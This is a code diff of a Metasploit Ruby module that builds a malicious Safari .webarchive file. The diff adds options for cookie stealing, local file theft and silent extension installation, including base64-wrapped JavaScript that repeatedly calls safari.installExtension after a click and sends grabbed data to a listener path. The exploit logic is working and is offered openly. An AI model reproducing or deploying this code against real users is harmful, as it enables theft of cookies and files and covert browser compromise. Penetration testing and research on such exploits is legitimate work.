1- #safari.installExtension("com.pinterest.extension-HWZFLG9PNK","http://assets.pinterest.com/ext/Pinterest-Safari.safariextz")
2-
1+ #
2+ # The WebArchive mixin provides methods for generating a Safari .webarchive file
3+ # that performs a variety of malicious tasks: stealing files, cookies, and silently
4+ # installing extensions from extensions.apple.com.
5+ #
36module Msf
47module Format
58module Webarchive
69
710 def initialize ( info = { } )
811 super
9- register_options (
10- [
11- OptString . new ( 'FILENAME' , [ true , 'The file name' , 'msf.webarchive' ] ) ,
12- OptString . new ( 'GRABPATH' , [ false , "The URI to receive the UXSS'ed data" , 'grab' ] ) ,
13- OptString . new ( 'DOWNLOAD_PATH' , [ true , 'The path to download the webarchive' , '/msf.webarchive' ] ) ,
14- OptString . new ( 'FILE_URLS' , [ false , 'Additional file:// URLs to steal. $USER will be resolved to the username.' , '' ] ) ,
15- OptBool . new ( 'STEAL_COOKIES' , [ true , "Enable cookie stealing" , true ] ) ,
16- OptBool . new ( 'STEAL_FILES' , [ true , "Enable local file stealing" , true ] ) ,
17- OptString . new ( 'EXTENSION_URL ' , [ false , "HTTP URL of a Safari extension to install" ] ) ,
18- OptString . new ( 'EXTENSION_ID ' , [ false , "The ID of the Safari extension to install" ] )
19- ] ,
20- self . class )
12+ register_options ( [
13+ OptString . new ( "URIPATH" , [ false , 'The URI to use for this exploit (default is random)' ] ) ,
14+ OptString . new ( 'FILENAME' , [ true , 'The file name' , 'msf.webarchive' ] ) ,
15+ OptString . new ( 'GRABPATH' , [ false , "The URI to receive the UXSS'ed data" , 'grab' ] ) ,
16+ OptString . new ( 'DOWNLOAD_PATH' , [ true , 'The path to download the webarchive' , '/msf.webarchive' ] ) ,
17+ OptString . new ( 'FILE_URLS' , [ false , 'Additional file:// URLs to steal. $USER will be resolved to the username.' , '' ] ) ,
18+ OptBool . new ( 'STEAL_COOKIES' , [ true , "Enable cookie stealing" , true ] ) ,
19+ OptBool . new ( 'STEAL_FILES' , [ true , "Enable local file stealing" , true ] ) ,
20+ OptBool . new ( 'INSTALL_EXTENSION ' , [ true , "Silently install a Safari extensions (requires click)" , false ] ) ,
21+ OptString . new ( 'EXTENSION_URL ' , [ false , "HTTP URL of a Safari extension to install" , "https://data.getadblock.com/safari/AdBlock.safariextz" ] ) ,
22+ OptString . new ( 'EXTENSION_ID' , [ false , "The ID of the Safari extension to install" , "com.betafish.adblockforsafari-UAMUU4S2D9" ] )
23+ ] , self . class )
2124 end
2225
2326 ### ASSEMBLE THE WEBARCHIVE XML ###
@@ -90,8 +93,7 @@ def wrap_with_script(&blk)
9093 def iframes_container_html
9194 hidden_style = "position:fixed; left:-600px; top:-600px;"
9295 wrap_with_doc do
93- frames = "<iframe src='#{ apple_extension_url } ' style='#{ hidden_style } '></iframe>"
94- communication_js + frames + injected_js_helpers + steal_files + install_extension + message
96+ communication_js + injected_js_helpers + steal_files + install_extension + message
9597 end
9698 end
9799
@@ -115,18 +117,23 @@ def apple_extension_url
115117 end
116118
117119 def install_extension
120+ return '' unless datastore [ 'INSTALL_EXTENSION' ]
121+ raise "EXTENSION_URL datastore option missing" unless datastore [ 'EXTENSION_URL' ] . present?
122+ raise "EXTENSION_ID datastore option missing" unless datastore [ 'EXTENSION_ID' ] . present?
118123 wrap_with_script do
119124 %Q|
120125 var extURL = atob('#{ Rex ::Text . encode_base64 ( datastore [ 'EXTENSION_URL' ] ) } ');
121126 var extID = atob('#{ Rex ::Text . encode_base64 ( datastore [ 'EXTENSION_ID' ] ) } ');
122127
123- setTimeout(function(){
128+ window.onclick = function(){
129+ x = window.open('#{ apple_extension_url } ', 'x');
130+
124131 function go(){
125132 window.focus();
126133 window.open('javascript:safari&&(safari.installExtension\| \| (window.top.location.href.match(/extensions/)&&window.top.location.reload(false)))&&(safari.installExtension("'+extID+'", "'+extURL+'"), window.close());', 'x')
127134 }
128135 setInterval(go, 400);
129- }, 600) ;
136+ };
130137
131138 |
132139 end
@@ -326,7 +333,7 @@ def injected_js_helpers
326333
327334 # @return [String] the path to send data back to
328335 def collect_data_uri
329- '/' + datastore [ "URIPATH" ] . chomp ( '/' ) . gsub ( /^\/ / , '' ) + '/' +datastore [ "GRABPATH" ]
336+ '/' + ( datastore [ "URIPATH" ] || '' ) . chomp ( '/' ) . gsub ( /^\/ / , '' ) + '/' +datastore [ "GRABPATH" ]
330337 end
331338
332339 # @return [String] formatted http/https URL of the listener
0 commit comments